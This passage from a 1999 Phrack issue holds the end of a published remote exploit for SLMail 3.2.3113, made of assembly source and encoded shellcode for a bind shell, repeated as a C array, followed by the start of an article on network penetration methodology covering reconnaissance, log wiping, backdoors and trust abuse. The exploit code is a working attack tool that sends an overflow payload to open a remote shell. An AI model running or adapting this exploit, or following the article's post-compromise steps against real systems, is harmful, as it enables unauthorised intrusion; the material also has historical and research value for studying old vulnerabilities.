db 065h, 078h, 070h, 06eh, 020h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 0ebh, 007h, 090h, 0aah, 01ch, 09ch, 077h, 090h, 090h, 090h db 033h, 0c0h, 050h, 0f7h, 0d0h, 050h, 059h, 0f2h, 0afh, 059h, 0b1h, 0c6h db 08bh, 0c7h, 048h, 080h, 030h, 099h, 0e2h, 0fah, 033h, 0f6h, 096h, 0bbh db 099h, 010h, 011h, 044h, 0c1h, 0ebh, 008h, 056h, 0ffh, 013h, 08bh, 0d0h db 0fch, 033h, 0c9h, 0b1h, 00bh, 049h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h db 0f9h, 052h, 051h, 056h, 052h, 0b3h, 00ch, 0ffh, 013h, 0abh, 059h, 05ah db 0e2h, 0ech, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 0b3h, 010h, 056h db 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h, 0b1h, 006h, 032h, 0c0h, 0ach db 084h, 0c0h, 075h, 0f9h, 052h, 051h, 056h, 052h, 0b3h, 00ch, 0ffh, 013h db 0abh, 059h, 05ah, 0e2h, 0ech, 083h, 0c6h, 005h, 033h, 0c0h, 050h, 040h db 050h, 040h, 050h, 0ffh, 057h, 0e8h, 093h, 06ah, 010h, 056h, 053h, 0ffh db 057h, 0ech, 06ah, 002h, 053h, 0ffh, 057h, 0f0h, 033h, 0c0h, 057h, 050h db 0b0h, 00ch, 0abh, 058h, 0abh, 040h, 0abh, 05fh, 048h, 050h, 057h, 056h db 0adh, 056h, 0ffh, 057h, 0c0h, 048h, 050h, 057h, 0adh, 056h, 0adh, 056h db 0ffh, 057h, 0c0h, 048h, 0b0h, 044h, 089h, 007h, 057h, 0ffh, 057h, 0c4h db 033h, 0c0h, 08bh, 046h, 0f4h, 089h, 047h, 03ch, 089h, 047h, 040h, 08bh db 006h, 089h, 047h, 038h, 033h, 0c0h, 066h, 0b8h, 001h, 001h, 089h, 047h db 02ch, 057h, 057h, 033h, 0c0h, 050h, 050h, 050h, 040h, 050h, 048h, 050h db 050h, 0adh, 056h, 033h, 0c0h, 050h, 0ffh, 057h, 0c8h, 0ffh, 076h, 0f0h db 0ffh, 057h, 0cch, 0ffh, 076h, 0fch, 0ffh, 057h, 0cch, 048h, 050h, 050h db 053h, 0ffh, 057h, 0f4h, 08bh, 0d8h, 033h, 0c0h, 0b4h, 004h, 050h, 0c1h db 0e8h, 004h, 050h, 0ffh, 057h, 0d4h, 08bh, 0f0h, 033h, 0c0h, 08bh, 0c8h db 0b5h, 004h, 050h, 050h, 057h, 051h, 050h, 0ffh, 077h, 0a8h, 0ffh, 057h db 0d0h, 083h, 03fh, 001h, 07ch, 022h, 033h, 0c0h, 050h, 057h, 0ffh, 037h db 056h, 0ffh, 077h, 0a8h, 0ffh, 057h, 0dch, 00bh, 0c0h, 074h, 02fh, 033h db 0c0h, 050h, 0ffh, 037h, 056h, 053h, 0ffh, 057h, 0f8h, 06ah, 050h, 0ffh db 057h, 0e0h, 0ebh, 0c8h, 033h, 0c0h, 050h, 0b4h, 004h, 050h, 056h, 053h db 0ffh, 057h, 0fch, 057h, 033h, 0c9h, 051h, 050h, 056h, 0ffh, 077h, 0ach db 0ffh, 057h, 0d8h, 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh, 0aah, 050h, 0ffh db 057h, 0e4h, 090h, 0d2h, 0dch, 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh db 0fch, 0edh, 0cah, 0edh, 0f8h, 0ebh, 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh db 0f6h, 0d8h, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h db 0fah, 0fch, 0eah, 0eah, 0d8h, 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h db 0f8h, 0f7h, 0fdh, 0f5h, 0fch, 099h, 0c9h, 0fch, 0fch, 0f2h, 0d7h, 0f8h db 0f4h, 0fch, 0fdh, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh db 0f8h, 0f5h, 0d8h, 0f5h, 0f5h, 0f6h, 0fah, 099h, 0ceh, 0ebh, 0f0h, 0edh db 0fch, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cbh, 0fch, 0f8h, 0fdh, 0dfh, 0f0h db 0f5h, 0fch, 099h, 0cah, 0f5h, 0fch, 0fch, 0e9h, 099h, 0dch, 0e1h, 0f0h db 0edh, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 099h, 0ceh, 0cah, 0d6h db 0dah, 0d2h, 0aah, 0abh, 099h, 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h db 0fbh, 0f0h, 0f7h, 0fdh, 099h, 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h db 0f8h, 0fah, 0fah, 0fch, 0e9h, 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh, 099h db 0ebh, 0fch, 0fah, 0efh, 099h, 09bh, 099h

store dw ?

db 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 0fah, 0f4h, 0fdh db 0b7h, 0fch, 0e1h, 0fch, 099h, 0ffh, 0ffh, 0ffh, 0ffh, 00dh, 00ah

logo db "SLMail (3.2.3113) remote.", 13, 10

db "by dark spyrit aka Barnaby Jack <dspyrit@beavuh.org>",13,10,13,10 db "usage: slxploit <host> <port> <port to bind shell>", 13, 10 db "eg ‑ slxploit host.com 27 1234",13,10,0

logolen equ $‑logo

errorinit db 10,"error initializing winsock.", 13, 10, 0 errorinitl equ $‑errorinit

derror db 10,"error.",13,10,0

derrorl equ $‑derror

nohost db 10,"no host or ip specified.", 13,10,0

nohostl equ $‑nohost

noport db 10,"no port specified.",13,10,0

noportl equ $‑noport

no_port2 db 10,"no bind port specified.",13,10,0

no_port2l equ $‑no_port2

response db 10,"waiting for response....",13,10,0

respl equ $‑response

reshost db 10,"error resolving host.",13,10,0

reshostl equ $‑reshost

sockerr db 10,"error creating socket.",13,10,0

sockerrl equ $‑sockerr

ipill db 10,"ip error.",13,10,0

ipilll equ $‑ipill

cnerror db 10,"error establishing connection.",13,10,0

cnerrorl equ $‑cnerror

success db 10,"sent.. spawn connection now.",13,10,0

successl equ $‑success

console_in dd ?

console_out dd ?

bytes_read dd ?

wsadescription_len equ 256

wsasys_status_len equ 128

WSAdata struct

wVersion dw ?

wHighVersion dw ?

szDescription db wsadescription_len+1 dup (?)

szSystemStatus db wsasys_status_len+1 dup (?)

iMaxSockets dw ?

iMaxUdpDg dw ?

lpVendorInfo dw ?

WSAdata ends

sockaddr_in struct

sin_family dw ?

sin_port dw ?

sin_addr dd ?

sin_zero db 8 dup (0)

sockaddr_in ends

wsadata WSAdata <?>

sin sockaddr_in <?>

sock dd ?

numbase dd 10

_port db 256 dup (?)

_host db 256 dup (?)

_port2 db 256 dup (?)

buffer db 1000 dup (0)

.code

start:

call init_console

push logolen

push offset logo

call write_console

call GetCommandLineA

mov edi, eax

mov ecx, ‑1

xor al, al

push edi

repnz scasb

not ecx

pop edi

mov al, 20h

repnz scasb

dec ecx

cmp ch, 0ffh

jz @@0

test ecx, ecx

jnz @@1

@@0:

push nohostl

push offset nohost

call write_console

jmp quit3

@@1:

mov esi, edi

lea edi, _host

call parse

or ecx, ecx

jnz @@2

push noportl

push offset noport

call write_console

jmp quit3

@@2:

lea edi, _port

call parse

or ecx, ecx

jnz @@3

push no_port2l

push offset no_port2

call write_console

jmp quit3

@@3:

push ecx

lea edi, _port2

call parse

push offset wsadata

push 0101h

call WSAStartup

or eax, eax

jz winsock_found

push errorinitl

push offset errorinit

call write_console

jmp quit3

winsock_found:

xor eax, eax

push eax

inc eax

push eax

inc eax

push eax

call socket

cmp eax, ‑1

jnz socket_ok

push sockerrl

push offset sockerr

call write_console

jmp quit2

socket_ok:

mov sock, eax

mov sin.sin_family, 2

mov ebx, offset _port

call str2num

mov eax, edx

push eax

call htons

mov sin.sin_port, ax

mov ebx, offset _port2

call str2num

mov eax, edx

push eax

call htons

xor ax, 09999h

mov store, ax

mov esi, offset _host

lewp:

xor al, al

lodsb

cmp al, 039h

ja gethost

test al, al

jnz lewp

push offset _host

call inet_addr

cmp eax, ‑1

jnz ip_aight

push ipilll

push offset ipill

call write_console

jmp quit1

ip_aight:

mov sin.sin_addr, eax

jmp continue

gethost:

push offset _host

call gethostbyname

test eax, eax

jnz gothost

push reshostl

push offset reshost

call write_console

jmp quit1

gothost:

mov eax, [eax+0ch]

mov eax, [eax]

mov eax, [eax]

mov sin.sin_addr, eax

continue:

push size sin

push offset sin

push sock

call connect

or eax, eax

jz connect_ok

push cnerrorl

push offset cnerror

call write_console

jmp quit1

connect_ok:

push respl

push offset response

call write_console

xor eax, eax

push eax

push 1000

push offset buffer

push sock

call recv

or eax, eax

jg sveet

push derrorl

push offset derror

call write_console

jmp quit1

sveet:

push eax

push offset buffer

call write_console

xor eax, eax

push eax

push sploit_length

push offset sploit

push sock

call send

push successl

push offset success

call write_console

quit1:

push sock

call closesocket

quit2:

call WSACleanup

quit3:

push 0

call ExitProcess

parse proc

;cheap parsing..

lewp9:

xor eax, eax

cld

lodsb

cmp al, 20h

jz done

test al, al

jz done2

stosb

dec ecx

jmp lewp9

done:

dec ecx

done2:

ret

endp

str2num proc

push eax ecx edi

xor eax, eax

xor ecx, ecx

xor edx, edx

xor edi, edi

lewp2:

xor al, al

xlat

test al, al

jz end_it

sub al, 030h

mov cl, al

mov eax, edx

mul numbase

add eax, ecx

mov edx, eax

inc ebx

inc edi

cmp edi, 0ah

jnz lewp2

end_it:

pop edi ecx eax

ret

endp

init_console proc

push ‑10

call GetStdHandle

or eax, eax

je init_error

mov [console_in], eax

push ‑11

call GetStdHandle

or eax, eax

je init_error

mov [console_out], eax

ret

init_error:

push 0

call ExitProcess

endp

write_console proc text_out:dword, text_len:dword

pusha

push 0

push offset bytes_read

push text_len

push text_out

push console_out

call WriteConsoleA

popa

ret

endp

end start

;‑‑(code ends)‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<‑‑>

Here is the shellcode in c format:

<++> P55/Win32‑overflows/slxploit‑shellcode.c !f4bcdaf5

#define sploit_length 851

unsigned char sploit[851] = {

0x65, 0x78, 0x70, 0x6e, 0x20, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb, 0x07, 0x90, 0xaa, 0x1c, 0x9c, 0x77, 0x90, 0x90, 0x90, 0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6, 0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb, 0x99, 0x10, 0x11, 0x44, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0x0c, 0xff, 0x13, 0xab, 0x59, 0x5a, 0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0x10, 0x56, 0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0x0c, 0xff, 0x13, 0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff, 0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50, 0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56, 0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4, 0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b, 0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47, 0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50, 0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0, 0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50, 0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1, 0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8, 0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x50, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33, 0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53, 0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac, 0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff, 0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff, 0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1, 0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8, 0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb, 0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed, 0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0, 0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6, 0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99, 0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99, 0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,

0x00, 0x00, // word value for bind port, client must mod and XOR with 0x99

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff, 0x0d, 0x0a};

<‑‑>

Distributed Metastasis...

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 16 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Distributed Metastasis: A Computer Network Penetration Methodology

‑‑‑‑‑‑‑[ Andrew J. Stewart <ajs@tentacle.org.uk>

"You may advance and be absolutely irresistible, if you make for the enemy's weak points; you may retire and be safe from pursuit if your movements are more rapid than those of the enemy."

‑ Sun Tzu, Art of War

‑‑‑‑[ (struct phrack *)ptr;

You can find the original instance of this article in both Adobe .pdf and Microsoft Word 97 format at http://www.packetfactory.net.

‑‑‑‑[ Abstract

Metastasis refers to the process by which an attacker propagates a computer penetration throughout a computer network. The traditional methodology for Internet computer penetration is sufficiently well understood to define behavior which may be indicative of an attack, e.g. for use within an Intrusion Detection System. A new model of computer penetration: distributed metastasis, increases the possible depth of penetration for an attacker, while minimizing the possibility of detection. Distributed Metastasis is a non‑trivial methodology for computer penetration, based on an agent based approach, which points to a requirement for more sophisticated attack detection methods and software to detect highly skilled attackers.

‑‑‑‑[ Introduction

In the study of medicine, the term "metastasis" refers to the spread of cancer from its original site to other areas in the body. Metastasis is the principal cause of death in cancer patients. Cancer cells have the ability to enter the vascular system and travel to virtually any part of the body where they detach and burrow into a target organ. Each cancer has an individualized way of spreading.

The use of the term metastasis was first suggested in the context of computer security by William Cheswick and Steven Bellovin [1] and refers to the process by which an attacker, after compromising a computer host, attacks logically associated hosts by utilizing properties and resources of the compromised host:

"Once an account is secured on a machine, the hacker has several hacking goals ... [to] open new security holes or backdoors in the invaded machine ... [and to] find other hosts that trust the invaded host."

Before the techniques and advantages of distributed metastasis can be explained,the traditional attack paradigm must be understood. Note that a verbose description of the traditional attack paradigm is outside the scope of this document; [2] describes that subject in detail.

‑‑‑‑[ Traditional Attack Paradigm

The framework of processes and order of execution by which an attacker attempts to penetrate a remote computer network is sufficiently well understood to enable the creation of toolkits to attempt to exploit a weakness and/or to attempt to audit a system for potential weaknesses.

The tasks an attacker performs to conventionally execute an attack can be categorized as 'information gathering', 'exploitation', and 'metastasis', and are described below.

‑‑‑‑[ Information Gathering

The first phase of an attack, the information gathering phase, comprises the determination of the characteristics of the target network such as network topology, host OS type (within this paper the term 'host' will refer to a generic network entity such as a workstation, server, router, etc.), and "listening" applications e.g. WWW servers, FTP services, etc. This is ordinarily achieved by applying the following techniques:

I. Host Detection

Detection of the availability of a host. The traditional method is to elicit an ICMP ECHO_REPLY in response to an ICMP ECHO_REQUEST using the 'ping' program. Programs designed to perform host detection in parallel such as fping [3] enable large expanses of IP address space to be mapped quickly.

II. Service Detection

a.k.a. "port scanning". Detection of the availability of a TCP, UDP, or RPC service, e.g. HTTP, DNS, NIS, etc. Listening ports often imply associated services, e.g. a listening port 80/tcp often implies an active web server.

III. Network Topology Detection

Topology in this context relates to the relationship between hosts in terms of 'hop count' ("distance" between hosts at the Internet/IP layer).

Only two methods of network topology detection are known to the author: 'TTL modulation' and 'record route'. The UNIX 'traceroute' program performs network topology detection by modulating the TTL (time to live) field within IP packets; in the windows NT environment, tracert.exe provides broadly equivalent functionality. 'ping' can be used to "record [the] route" of ICMP packets, albeit to a finite depth. Both these techniques require a target host to act as the final destination of the probe.

Firewalk [4] is a technique used to perform both network topology detection and service detection for hosts "protected" behind certain vulnerable configurations of gateway access control lists, e.g. as implemented in a firewall or screening router.

Classical promiscuous‑mode "network sniffing" is another, albeit non‑invasive, method of network topology detection [5], but may not be applicable in those scenarios where traffic from the target network is not visible to an attacker at their initial network location.

IV. OS Detection

A common OS detection technique is "IP stack fingerprinting" ‑ the determination of remote OS type by comparison of variations in OS IP stack implementation behavior. Ambiguities in the RFC definitions of core internet protocols coupled with the complexity involved in implementing a functional IP stack enable multiple OS types (and often revisions between OS releases) to be identified remotely by generating specifically constructed packets that will invoke differentiable but repeatable behavior between OS types, e.g. to distinguish between Sun Solaris and Microsoft Windows NT.

The pattern of listening ports discovered using service detection techniques may also indicate a specific OS type; this method is particularly applicable to "out of the box" OS installations.

V. Application‑Layer Information Gathering

Applications running on target hosts can often be manipulated to perform information gathering. SNMP (Simple Network Management Protocol) enabled devices are often not configured with security in mind, and can consequently be queried for network availability, usage, and topology data. Similarly, DNS servers can be queried to build lists of registered (and consequently likely active) hosts.

Routers on (or logically associated with) the target network can often be queried via the RIP protocol for known routes [6]. This information can be used to further aid construction of a conceptual model of the topology of the target network.

Many of these techniques are utilized by modern network management software to "map" a network.

In summary, the information gathering phase of an attack comprises the determination of host availability: "what hosts are 'alive'?", service availability: "what network enabled programs run on those hosts?", network topology: "how are hosts organized?", and roles: "what 'jobs' do each host perform?".

‑‑‑‑[ Exploitation

The exploitation phase of an attack is the initial chronological point at which an attacker commits to attempting to penetrate an individual host.

The data generated in the information gathering phase of the attack is used to determine if any hosts on the target network are running a network service which has a known vulnerable condition that might be remotely exploitable. Services may either be intrinsically insecure "out of the box" or may become insecure through misconfiguration.

The methods by which a service can be exploited vary widely, but the end‑result often manifests as either the execution of a process in a privileged context e.g. opening a privileged command line, adding an account with no password, etc., or through the disclosure of security‑critical information, e.g. a list of encrypted passwords which can (possibly) subsequently be "cracked". The observed proportion of weak passwords within a password file [7] imply that a password cracking attack is likely to be successful.

To summarize, the exploitation phase of an attack involves the compromise of a vulnerable host on (or logically associated with) the target network.

‑‑‑‑[ Metastasis

The metastasis phase of the attack, as defined by Cheswick and Bellovin, can be logically separated into two key components: 'consolidation', and 'continuation', described here:

I. Consolidation Component

Once access has been gained to an individual host, the attack proceeds with the consolidation component of metastasis.

It is imperative to the attacker that the exploitation phase not be detected. The attacker must remove evidence of the entry onto the host by removing relevant entries from OS and security application log files. If the opportunity exists, the attacker will remove any trace generated by the earlier information gathering phase also.

Depending on the exploit employed, the exploitation phase may not have granted the attacker the highest level of privilege on the compromised system ('root' for UNIX derivatives, 'Administrator' for Windows NT), and if not, the attacker will attempt to escalate their privilege to the highest level. The methods used to escalate local privilege level often employ extremely similar techniques, even across multiple OS platforms. Such vulnerabilities reoccur frequently due to non security‑cognizant OS and application programming. A notable category of local exploit is a "buffer overflow" [8].

A program to enable remote unauthorized access is traditionally installed, sometimes called a "back door". A back door "listens" identically to a network daemon/service, and provides either full remote command line access or a set of specific actions e.g. upload/download file, execute/terminate process, etc.

In summary, the goals of the consolidation component of the metastasis phase of an attack, are to remove any evidence of the exploitation phase, and to ensure that remote access is available to the attacker.

II. Continuation Component

The continuation component of metastasis is the most conceptually interesting and challenging, in terms of attempting to construct a model of the attackers actions.

Because a host on the target network has been compromised, the attacker can now utilize 'passive' as well as the previous described 'active' attack methods to deepen the penetration. Traditionally, a "password sniffer" is installed ‑ a promiscuous mode network protocol monitor, designed to log the usernames and passwords associated with those application layer protocols that utilize plain text transmission, e.g. Telnet, FTP, rlogin, etc.

Implicit to modern enterprise network environments is the concept of trust. [9] defines trust as:

"[the] situation when a ... host ... can permit a local resource to be used by a client without password authentication when password authentication is normally required."

Metastasis involves the use/abuse of trust relationships between a compromised host and other prospective target hosts.

Regardless of OS type, a host is likely to engage in multiple trust relationships, often in the areas of authentication, authorization, remote access, and shared resources. The process of trust relationship exploitation involves identifying and "following" trust relationships that exist on a compromised host, in order to deepen a penetration. There is often no need to perform the exploitation stage of an attack against other hosts on the target network if they already implicitly trust the compromised host in some way.

The classical example of trust relationship exploitation involves the subversion of the Berkley "R" commands and their configuration files in the UNIX environment: '.rhosts' and '/etc/hosts.equiv'.

‑‑‑‑[ Properties of the Traditional Attack Paradigm

It is valuable to identify those properties that define the traditional attack paradigm, as outlined above.

I. One to One, One to Many Model

Information gathering techniques are traditionally performed using a "one to one" or "one to many" model; an attacker performs network operations against either one target host or a logical grouping of target hosts (e.g. a subnet).

